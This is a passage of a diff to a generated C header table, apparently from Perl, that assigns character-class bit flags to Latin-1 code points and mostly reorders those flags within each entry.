(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+6F 'o' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+70 'p' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+71 'q' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+72 'r' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+73 's' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+74 't' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+75 'u' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+76 'v' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+77 'w' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+78 'x' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+79 'y' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+7A 'z' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* U+7B '{' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+7C '|' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+7D '}' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -178,7 +178,7 @@ /* U+A7 SECTION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+A8 DIAERESIS */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+A9 COPYRIGHT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA), -/* U+AA FEMININE ORDINAL */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* U+AA FEMININE ORDINAL */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), /* U+AB LEFT-POINTING DOUBLE ANGLE QUOTE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+AC NOT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA), /* U+AD SOFT HYPHEN */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA), @@ -189,81 +189,81 @@ /* U+B2 SUPERSCRIPT 2 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+B3 SUPERSCRIPT 3 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+B4 ACUTE ACCENT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), -/* U+B5 MICRO */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* U+B5 MICRO */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* U+B6 PILCROW */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+B7 MIDDLE DOT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT), /* U+B8 CEDILLA */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+B9 SUPERSCRIPT 1 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), -/* U+BA MASCULINE ORDINAL */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), +/* U+BA MASCULINE ORDINAL */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR), /* U+BB RIGHT-POINTING DOUBLE ANGLE QUOTE */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* U+BC 1/4 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+BD 1/2 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+BE 3/4 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT), /* U+BF INVERTED '?' */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* U+C0 A with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C1 A with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C2 A with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C3 A with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C4 A with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C5 A with RING */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C6 AE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C7 C with CEDILLA */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C8 E with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+C9 E with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+CA E with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+CB E with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+CC I with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+CD I with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+CE I with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+CF I with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D0 ETH */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D1 N with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D2 O with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D3 O with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D4 O with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D5 O with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D6 O with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* U+C0 A with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C1 A with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C2 A with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C3 A with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C4 A with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C5 A with RING */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C6 AE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C7 C with CEDILLA */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C8 E with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+C9 E with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+CA E with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+CB E with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+CC I with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+CD I with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+CE I with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+CF I with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D0 ETH */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D1 N with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D2 O with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D3 O with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D4 O with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D5 O with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* U+D6 O with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* U+D7 MULTIPLICATION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA), -/* U+D8 O with '/' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+D9 U with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* U+DA U with ACUTE */ 